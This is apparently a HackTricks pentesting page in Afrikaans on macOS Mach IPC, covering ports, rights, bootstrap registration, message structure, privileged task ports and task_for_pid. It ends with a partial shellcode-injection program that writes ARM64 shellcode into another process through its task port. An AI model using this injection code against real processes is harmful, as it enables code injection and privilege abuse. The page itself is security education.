macOS IPC - Inter Process Communication
Reading time: 37 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Mach messaging via Ports
Basic Information
Mach gebruik take as die kleinste eenheid vir die deel van hulpbronne, en elke taak kan meerdere drade bevat. Hierdie take en drade is 1:1 gekarteer na POSIX prosesse en drade.
Kommunikasie tussen take vind plaas via Mach Inter-Process Communication (IPC), wat eenrigting kommunikasiekanale benut. Boodskappe word tussen porte oorgedra, wat optree as boodskapqueues wat deur die kernel bestuur word.
'n Port is die basiese element van Mach IPC. Dit kan gebruik word om boodskappe te stuur en om hulle te ontvang.
Elke proses het 'n IPC tabel, waar dit moontlik is om die mach porte van die proses te vind. Die naam van 'n mach port is eintlik 'n nommer (naanwyser na die kernel objek).
'n Proses kan ook 'n portnaam met sekere regte na 'n ander taak stuur en die kernel sal hierdie inskrywing in die IPC tabel van die ander taak laat verskyn.
Port Rights
Port regte, wat definieer watter operasies 'n taak kan uitvoer, is sleutel tot hierdie kommunikasie. Die moontlike port regte is (definisies hier):
- Ontvang reg, wat die ontvang van boodskappe wat na die port gestuur word, toelaat. Mach porte is MPSC (meervoudige-produsent, enkele-verbruiker) queues, wat beteken dat daar slegs een ontvang reg vir elke port in die hele stelsel mag wees (in teenstelling met pype, waar verskeie prosesse almal lêerdeskriptoren na die leeskant van een pyp kan hou).
- 'n taak met die Ontvang reg kan boodskappe ontvang en Stuur regte skep, wat dit toelaat om boodskappe te stuur. Oorspronklik het slegs die eie taak die Ontvang reg oor sy port.
- As die eienaar van die Ontvang reg sterf of dit doodmaak, het die stuur reg nutteloos geword (dode naam).
- Stuur reg, wat die stuur van boodskappe na die port toelaat.
- Die Stuur reg kan gekloneer word sodat 'n taak wat 'n Stuur reg besit, die reg kan kloneer en aan 'n derde taak kan toeken.
- Let daarop dat port regte ook oorgegee kan word deur Mac boodskappe.
- Stuur-een keer reg, wat die stuur van een boodskap na die port toelaat en dan verdwyn.
- Hierdie reg kan nie gekloneer word nie, maar dit kan verplaas word.
- Port stel reg, wat 'n port stel aandui eerder as 'n enkele port. Om 'n boodskap van 'n port stel te verwyder, verwyder 'n boodskap van een van die porte wat dit bevat. Port stelle kan gebruik word om op verskeie porte gelyktydig te luister, baie soos
select
/poll
/epoll
/kqueue
in Unix. - Dode naam, wat nie 'n werklike port reg is nie, maar bloot 'n plekhouer. Wanneer 'n port vernietig word, draai alle bestaande port regte na die port in dode name.
Take kan STUUR regte aan ander oordra, wat hulle in staat stel om boodskappe terug te stuur. STUUR regte kan ook geklonen word, sodat 'n taak die reg kan dupliceer en aan 'n derde taak kan gee. Dit, saam met 'n intermediêre proses bekend as die bootstrap server, stel effektiewe kommunikasie tussen take in staat.
File Ports
File ports laat toe om lêerdeskriptoren in Mac porte te kapsuleer (met behulp van Mach port regte). Dit is moontlik om 'n fileport
van 'n gegewe FD te skep met fileport_makeport
en 'n FD van 'n fileport te skep met fileport_makefd
.
Establishing a communication
Soos vroeër genoem, is dit moontlik om regte te stuur met behulp van Mach boodskappe, egter, jy kan nie 'n reg stuur sonder om reeds 'n reg te hê om 'n Mach boodskap te stuur nie. So, hoe word die eerste kommunikasie gevestig?
Vir hierdie, is die bootstrap server (launchd in mac) betrokke, aangesien enigiemand 'n STUUR reg na die bootstrap server kan kry, is dit moontlik om dit te vra vir 'n reg om 'n boodskap na 'n ander proses te stuur:
- Taak A skep 'n nuwe port, en verkry die ONTVAAG reg oor dit.
- Taak A, as die houer van die ONTVANG reg, genereer 'n STUUR reg vir die port.
- Taak A vestig 'n verbinding met die bootstrap server, en stuur dit die STUUR reg vir die port wat dit aan die begin gegenereer het.
- Onthou dat enigiemand 'n STUUR reg na die bootstrap server kan kry.
- Taak A stuur 'n
bootstrap_register
boodskap na die bootstrap server om die gegewe port met 'n naam te assosieer sooscom.apple.taska
- Taak B interaksie met die bootstrap server om 'n bootstrap lookup vir die diens naam (
bootstrap_lookup
) uit te voer. So die bootstrap server kan antwoordgee, taak B sal 'n STUUR reg na 'n port wat dit voorheen geskep het binne die lookup boodskap stuur. As die lookup suksesvol is, sal die server die STUUR reg wat van Taak A ontvang is, dupliceer en aan Taak B oordra.
- Onthou dat enigiemand 'n STUUR reg na die bootstrap server kan kry.
- Met hierdie STUUR reg, is Taak B in staat om 'n boodskap na Taak A te stuur.
- Vir 'n bi-rigting kommunikasie genereer taak B gewoonlik 'n nuwe port met 'n ONTVAAG reg en 'n STUUR reg, en gee die STUUR reg aan Taak A sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie).
Die bootstrap server kan nie die diensnaam wat deur 'n taak geclaim word, verifieer nie. Dit beteken 'n taak kan potensieel enige stelseltaak naboots, soos valslik 'n magtiging diensnaam te claim en dan elke versoek goedkeur.
Dan, stoor Apple die name van stelsel-gelewerde dienste in veilige konfigurasie lêers, geleë in SIP-beskermde gidse: /System/Library/LaunchDaemons
en /System/Library/LaunchAgents
. Saam met elke diensnaam, word die geassosieerde binêre ook gestoor. Die bootstrap server sal 'n ONTVAAG reg vir elkeen van hierdie diensname skep en hou.
Vir hierdie vooraf gedefinieerde dienste, verskil die lookup proses effens. Wanneer 'n diensnaam opgevraag word, begin launchd die diens dinamies. Die nuwe werksvloei is soos volg:
- Taak B begin 'n bootstrap lookup vir 'n diensnaam.
- launchd kyk of die taak aan die gang is en as dit nie is nie, begin dit.
- Taak A (die diens) voer 'n bootstrap check-in (
bootstrap_check_in()
) uit. Hier, die bootstrap server skep 'n STUUR reg, hou dit, en oordra die ONTVANG reg aan Taak A. - launchd dupliceer die STUUR reg en stuur dit aan Taak B.
- Taak B genereer 'n nuwe port met 'n ONTVAAG reg en 'n STUUR reg, en gee die STUUR reg aan Taak A (die svc) sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie).
However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation.
caution
Daarom, launchd moet nooit crash nie of die hele stelsel sal crash.
A Mach Message
Die mach_msg
funksie, wat essensieel 'n stelselaanroep is, word gebruik om Mach boodskappe te stuur en te ontvang. Die funksie vereis dat die boodskap wat gestuur moet word, as die aanvanklike argument. Hierdie boodskap moet begin met 'n mach_msg_header_t
struktuur, gevolg deur die werklike boodskapinhoud. Die struktuur is soos volg gedefinieer:
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
Processes wat 'n receive right besit, kan boodskappe op 'n Mach-port ontvang. Omgekeerd, die senders word 'n send of 'n send-once right toegeken. Die send-once right is eksklusief vir die stuur van 'n enkele boodskap, waarna dit ongeldig word.
Die aanvanklike veld msgh_bits
is 'n bitmap:
- Eerste bit (mees betekenisvolle) word gebruik om aan te dui dat 'n boodskap kompleks is (meer hieroor hieronder)
- Die 3de en 4de word deur die kernel gebruik
- Die 5 minste betekenisvolle bits van die 2de byte kan gebruik word vir voucher: 'n ander tipe port om sleutel/waarde kombinasies te stuur.
- Die 5 minste betekenisvolle bits van die 3de byte kan gebruik word vir local port
- Die 5 minste betekenisvolle bits van die 4de byte kan gebruik word vir remote port
Die tipes wat in die voucher, lokale en afstandspoorte gespesifiseer kan word, is (van mach/message.h):
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
Byvoorbeeld, MACH_MSG_TYPE_MAKE_SEND_ONCE
kan gebruik word om te aandui dat 'n send-once regte afgelei en oorgedra moet word vir hierdie poort. Dit kan ook gespesifiseer word as MACH_PORT_NULL
om te voorkom dat die ontvanger kan antwoordgee.
Om 'n maklike bi-rigting kommunikasie te bereik, kan 'n proses 'n mach poort in die mach boodskap kop spesifiseer wat die antwoord poort (msgh_local_port
) genoem word waar die ontvanger van die boodskap 'n antwoord op hierdie boodskap kan stuur.
tip
Let daarop dat hierdie soort bi-rigting kommunikasie gebruik word in XPC boodskappe wat 'n replay verwag (xpc_connection_send_message_with_reply
en xpc_connection_send_message_with_reply_sync
). Maar gewoonlik word verskillende poorte geskep soos voorheen verduidelik om die bi-rigting kommunikasie te skep.
Die ander velde van die boodskap kop is:
msgh_size
: die grootte van die hele pakket.msgh_remote_port
: die poort waarop hierdie boodskap gestuur word.msgh_voucher_port
: mach vouchers.msgh_id
: die ID van hierdie boodskap, wat deur die ontvanger geïnterpreteer word.
caution
Let daarop dat mach boodskappe oor 'n mach poort
gestuur word, wat 'n enkele ontvanger, meervoudige sender kommunikasiekanaal is wat in die mach-kern ingebou is. Meervoudige prosesse kan boodskappe na 'n mach poort stuur, maar op enige tydstip kan slegs 'n enkele proses lees daarvan.
Boodskappe word dan gevorm deur die mach_msg_header_t
kop gevolg deur die liggaam en deur die trailer (indien enige) en dit kan toestemming gee om daarop te antwoord. In hierdie gevalle hoef die kern net die boodskap van een taak na die ander oor te dra.
'n Trailer is inligting wat deur die kern aan die boodskap bygevoeg word (kan nie deur die gebruiker gestel word nie) wat aangevra kan word in boodskap ontvangs met die vlae MACH_RCV_TRAILER_<trailer_opt>
(daar is verskillende inligting wat aangevra kan word).
Kompleks Boodskappe
Daar is egter ander meer kompleks boodskappe, soos dié wat addisionele poortregte of gedeelde geheue oordra, waar die kern ook hierdie voorwerpe na die ontvanger moet stuur. In hierdie gevalle word die mees betekenisvolle bit van die kop msgh_bits
gestel.
Die moontlike beskrywings om oor te dra word gedefinieer in mach/message.h
:
#define MACH_MSG_PORT_DESCRIPTOR 0
#define MACH_MSG_OOL_DESCRIPTOR 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR 2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR 3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4
#pragma pack(push, 4)
typedef struct{
natural_t pad1;
mach_msg_size_t pad2;
unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
In 32-bits is al die beskrywings 12B en die beskrywing tipe is in die 11de. In 64-bits wissel die groottes.
caution
Die kernel sal die beskrywings van een taak na die ander kopieer, maar eers 'n kopie in kernelgeheue skep. Hierdie tegniek, bekend as "Feng Shui", is in verskeie exploits misbruik om die kernel data in sy geheue te laat kopieer, wat 'n proses in staat stel om beskrywings na homself te stuur. Dan kan die proses die boodskappe ontvang (die kernel sal hulle vrylaat).
Dit is ook moontlik om poortregte na 'n kwesbare proses te stuur, en die poortregte sal net in die proses verskyn (selfs al hanteer hy dit nie).
Mac Ports APIs
Let daarop dat poorte aan die taaknaamruimte geassosieer is, so om 'n poort te skep of te soek, word die taaknaamruimte ook gevra (meer in mach/mach_port.h
):
mach_port_allocate
|mach_port_construct
: Skep 'n poort.mach_port_allocate
kan ook 'n poortstel skep: ontvangreg oor 'n groep poorte. Wanneer 'n boodskap ontvang word, word die poort aangedui van waar dit gekom het.mach_port_allocate_name
: Verander die naam van die poort (standaard 32-bis heelgetal)mach_port_names
: Kry poortname van 'n teikenmach_port_type
: Kry regte van 'n taak oor 'n naammach_port_rename
: Hernoem 'n poort (soos dup2 vir FD's)mach_port_allocate
: Toekenning van 'n nuwe ONTVANG, POORT_STEL of DOOD_NAAMmach_port_insert_right
: Skep 'n nuwe reg in 'n poort waar jy ONTVANG hetmach_port_...
mach_msg
|mach_msg_overwrite
: Funksies wat gebruik word om mach boodskappe te stuur en te ontvang. Die oorskrywing weergawe laat toe om 'n ander buffer vir boodskapontvangs te spesifiseer (die ander weergawe sal dit net hergebruik).
Debug mach_msg
Aangesien die funksies mach_msg
en mach_msg_overwrite
diegene is wat gebruik word om ontvang boodskappe te stuur, sal die instelling van 'n breekpunt op hulle toelaat om die gestuurde en ontvangde boodskappe te inspekteer.
Byvoorbeeld, begin om enige toepassing te debug wat jy kan debug, aangesien dit libSystem.B
sal laai wat hierdie funksie sal gebruik.
(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Proses 71019 gelaai: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Proses 71019 gestop
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 <+0>: pacibsp
0x181d3ac24 <+4>: sub sp, sp, #0x20
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add x29, sp, #0x10
Teiken 0: (SandboxedShellApp) gestop.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
Om die argumente van mach_msg
te kry, kyk na die registers. Dit is die argumente (van mach/message.h):
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
Kry die waardes van die registers:
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
Kontroleer die boodskapkop en kyk na die eerste argument:
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322
; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)
Die tipe mach_msg_bits_t
is baie algemeen om 'n antwoord toe te laat.
Tel poorte op
lsmp -p <pid>
sudo lsmp -p 1
Process (1) : launchd
name ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type
--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------
0x00000203 0x181c4e1d send -------- --- 2 0x00000000 TASK-CONTROL SELF (1) launchd
0x00000303 0x183f1f8d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x00000403 0x183eb9dd recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000051b 0x1840cf3d send -------- --- 2 -> 6 0 0x0000000000000000 0x00011817 (380) WindowServer
0x00000603 0x183f698d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000070b 0x175915fd recv,send ---GS--- 0 --- 1 2 Y 5 0 0x0000000000000000
0x00000803 0x1758794d send -------- --- 1 0x00000000 CLOCK
0x0000091b 0x192c71fd send -------- D-- 1 -> 1 0 0x0000000000000000 0x00028da7 (418) runningboardd
0x00000a6b 0x1d4a18cd send -------- --- 2 -> 16 0 0x0000000000000000 0x00006a03 (92247) Dock
0x00000b03 0x175a5d4d send -------- --- 2 -> 16 0 0x0000000000000000 0x00001803 (310) logd
[...]
0x000016a7 0x192c743d recv,send --TGSI-- 0 --- 1 1 Y 16 0 0x0000000000000000
+ send -------- --- 1 <- 0x00002d03 (81948) seserviced
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
Die naam is die standaardnaam wat aan die poort gegee word (kyk hoe dit toeneem in die eerste 3 bytes). Die ipc-object
is die obfuscated unieke identifiseerder van die poort.
Let ook op hoe die poorte met slegs send
regte die eienaar daarvan identifiseer (poortnaam + pid).
Let ook op die gebruik van +
om ander take wat aan dieselfde poort gekoppel is aan te dui.
Dit is ook moontlik om procesxp te gebruik om ook die ** geregistreerde diensname** te sien (met SIP gedeaktiveer weens die behoefte aan com.apple.system-task-port
):
procesp 1 ports
U kan hierdie hulpmiddel op iOS installeer deur dit af te laai van http://newosxbook.com/tools/binpack64-256.tar.gz
Kode voorbeeld
Let op hoe die sender 'n poort toewys, 'n send reg vir die naam org.darlinghq.example
skep en dit na die bootstrap bediener stuur terwyl die sender om die send reg van daardie naam gevra het en dit gebruik het om 'n boodskap te stuur.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
Bevoorregte Poorte
Daar is 'n paar spesiale poorte wat toelaat om sekere sensitiewe aksies uit te voer of sekere sensitiewe data te bekom in die geval dat 'n taak die SEND regte oor hulle het. Dit maak hierdie poorte baie interessant vanuit 'n aanvaller se perspektief, nie net vanweë die vermoëns nie, maar omdat dit moontlik is om SEND regte oor take te deel.
Gasheer Spesiale Poorte
Hierdie poorte word deur 'n nommer verteenwoordig.
SEND regte kan verkry word deur host_get_special_port
aan te roep en ONTVAAG regte deur host_set_special_port
aan te roep. egter, beide oproepe vereis die host_priv
poort waartoe slegs root toegang het. Boonop was root in die verlede in staat om host_set_special_port
aan te roep en arbitrêre te kap, wat byvoorbeeld toegelaat het om kodehandtekeninge te omseil deur HOST_KEXTD_PORT
te kap (SIP voorkom dit nou).
Hierdie is in 2 groepe verdeel: Die eerste 7 poorte behoort aan die kernel, wat die 1 HOST_PORT
, die 2 HOST_PRIV_PORT
, die 3 HOST_IO_MASTER_PORT
en die 7 is HOST_MAX_SPECIAL_KERNEL_PORT
is.
Diegene wat begin met die nommer 8 behoort aan sisteem daemons en hulle kan in host_special_ports.h
verklaar word.
- Gasheerpoort: As 'n proses SEND voorreg oor hierdie poort het, kan hy inligting oor die stelsel verkry deur sy roetines aan te roep soos:
host_processor_info
: Kry prosessorinligtinghost_info
: Kry gasheerinligtinghost_virtual_physical_table_info
: Virtuele/Fisiese bladsy tabel (vereis MACH_VMDEBUG)host_statistics
: Kry gasheerstatistiekemach_memory_info
: Kry kernel geheue uitleg- Gasheer Priv poort: 'n Proses met SEND reg oor hierdie poort kan bevoorregte aksies uitvoer soos om opstartdata te wys of te probeer om 'n kernel uitbreiding te laai. Die proses moet root wees om hierdie toestemming te verkry.
- Boonop, om die
kext_request
API aan te roep, is dit nodig om ander regtecom.apple.private.kext*
te hê wat slegs aan Apple binêre gegee word. - Ander roetines wat aangeroep kan word, is:
host_get_boot_info
: Krymachine_boot_info()
host_priv_statistics
: Kry bevoorregte statistiekevm_allocate_cpm
: Toewys Aaneengeskakelde Fisiese Geheuehost_processors
: Stuur reg na gasheerprosessorenmach_vm_wire
: Maak geheue resident- Aangesien root toegang tot hierdie toestemming kan verkry, kan dit
host_set_[special/exception]_port[s]
aanroep om gasheer spesiale of uitsondering poorte te kap.
Dit is moontlik om alle gasheer spesiale poorte te sien deur te loop:
procexp all ports | grep "HSP"
Taak Spesiale Poorte
Hierdie is poorte wat gereserveer is vir goed bekende dienste. Dit is moontlik om hulle te kry/instel deur task_[get/set]_special_port
aan te roep. Hulle kan gevind word in task_special_ports.h
:
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
Van hier:
- TASK_KERNEL_PORT[task-self send right]: Die poort wat gebruik word om hierdie taak te beheer. Gebruik om boodskappe te stuur wat die taak beïnvloed. Dit is die poort wat teruggegee word deur mach_task_self (sien Taak Poorte hieronder).
- TASK_BOOTSTRAP_PORT[bootstrap send right]: Die taak se bootstrap poort. Gebruik om boodskappe te stuur wat die terugkeer van ander stelseldiens poorte versoek.
- TASK_HOST_NAME_PORT[host-self send right]: Die poort wat gebruik word om inligting van die bevatende gasheer aan te vra. Dit is die poort wat teruggegee word deur mach_host_self.
- TASK_WIRED_LEDGER_PORT[ledger send right]: Die poort wat die bron benoem waaruit hierdie taak sy bedrade kerngeheue trek.
- TASK_PAGED_LEDGER_PORT[ledger send right]: Die poort wat die bron benoem waaruit hierdie taak sy standaard geheue bestuurde geheue trek.
Taak Poorte
Oorspronklik het Mach nie "prosesse" gehad nie, dit het "take" gehad wat meer soos 'n houer van drade beskou is. Toe Mach met BSD saamgevoeg is, was elke taak gekorreleerd met 'n BSD-proses. Daarom het elke BSD-proses die besonderhede wat dit nodig het om 'n proses te wees en elke Mach-taak het ook sy innerlike werking (behalwe vir die nie-bestaande pid 0 wat die kernel_task
is).
Daar is twee baie interessante funksies wat hiermee verband hou:
task_for_pid(target_task_port, pid, &task_port_of_pid)
: Kry 'n SEND reg vir die taak poort van die taak wat verband hou met die spesifiekepid
en gee dit aan die aangeduidetarget_task_port
(wat gewoonlik die oproepende taak is watmach_task_self()
gebruik het, maar kan 'n SEND poort oor 'n ander taak wees).pid_for_task(task, &pid)
: Gegee 'n SEND reg aan 'n taak, vind uit watter PID hierdie taak verband hou.
Om aksies binne die taak uit te voer, het die taak 'n SEND
reg na homself nodig gehad deur mach_task_self()
aan te roep (wat die task_self_trap
(28) gebruik). Met hierdie toestemming kan 'n taak verskeie aksies uitvoer soos:
task_threads
: Kry SEND reg oor alle taak poorte van die drade van die taaktask_info
: Kry inligting oor 'n taaktask_suspend/resume
: Suspend of hervat 'n taaktask_[get/set]_special_port
thread_create
: Skep 'n draadtask_[get/set]_state
: Beheer taaktoestand- en meer kan gevind word in mach/task.h
caution
Let daarop dat met 'n SEND reg oor 'n taak poort van 'n ander taak, dit moontlik is om sulke aksies oor 'n ander taak uit te voer.
Boonop is die task_port ook die vm_map
poort wat toelaat om geheue te lees en te manipuleer binne 'n taak met funksies soos vm_read()
en vm_write()
. Dit beteken basies dat 'n taak met SEND regte oor die task_port van 'n ander taak in staat gaan wees om kode in daardie taak in te spuit.
Onthou dat omdat die kern ook 'n taak is, as iemand daarin slaag om 'n SEND toestemming oor die kernel_task
te verkry, sal dit in staat wees om die kern enigiets te laat uitvoer (jailbreaks).
- Roep
mach_task_self()
aan om die naam vir hierdie poort vir die oproepende taak te kry. Hierdie poort word slegs geërf oorexec()
; 'n nuwe taak wat metfork()
geskep word, kry 'n nuwe taak poort (as 'n spesiale geval, kry 'n taak ook 'n nuwe taak poort naexec()
in 'n suid-binary). Die enigste manier om 'n taak te spawn en sy poort te kry, is om die "port swap dance" uit te voer terwyl jy 'nfork()
doen. - Dit is die beperkings om toegang tot die poort te verkry (van
macos_task_policy
van die binêreAppleMobileFileIntegrity
): - As die app
com.apple.security.get-task-allow
regte het, kan prosesse van die dieselfde gebruiker toegang tot die taak poort verkry (gewoonlik deur Xcode vir debugging bygevoeg). Die notarization proses sal dit nie toelaat vir produksievrystellings nie. - Apps met die
com.apple.system-task-ports
regte kan die taak poort vir enige proses kry, behalwe die kern. In ouer weergawes is dittask_for_pid-allow
genoem. Dit word slegs aan Apple-toepassings toegestaan. - Root kan toegang tot taak poorte van toepassings nie saamgestel met 'n harde runtime (en nie van Apple nie).
Die taak naam poort: 'n Onbevoegde weergawe van die taak poort. Dit verwys na die taak, maar laat nie toe om dit te beheer nie. Die enigste ding wat blykbaar deur dit beskikbaar is, is task_info()
.
Draad Poorte
Drade het ook geassosieerde poorte, wat sigbaar is vanaf die taak wat task_threads
aanroep en vanaf die verwerker met processor_set_threads
. 'n SEND reg oor die draad poort laat toe om die funksie van die thread_act
subsysteem te gebruik, soos:
thread_terminate
thread_[get/set]_state
act_[get/set]_state
thread_[suspend/resume]
thread_info
- ...
Enige draad kan hierdie poort kry deur mach_thread_sef
aan te roep.
Shellcode Inspuiting in draad via Taak poort
Jy kan 'n shellcode kry van:
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
Kompileer die vorige program en voeg die regte by om kode met dieselfde gebruiker in te spuit (as nie, sal jy sudo moet gebruik).
sc_injector.m
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
// Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669
// and on https://newosxbook.com/src.jl?tree=listings&file=inject.c
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
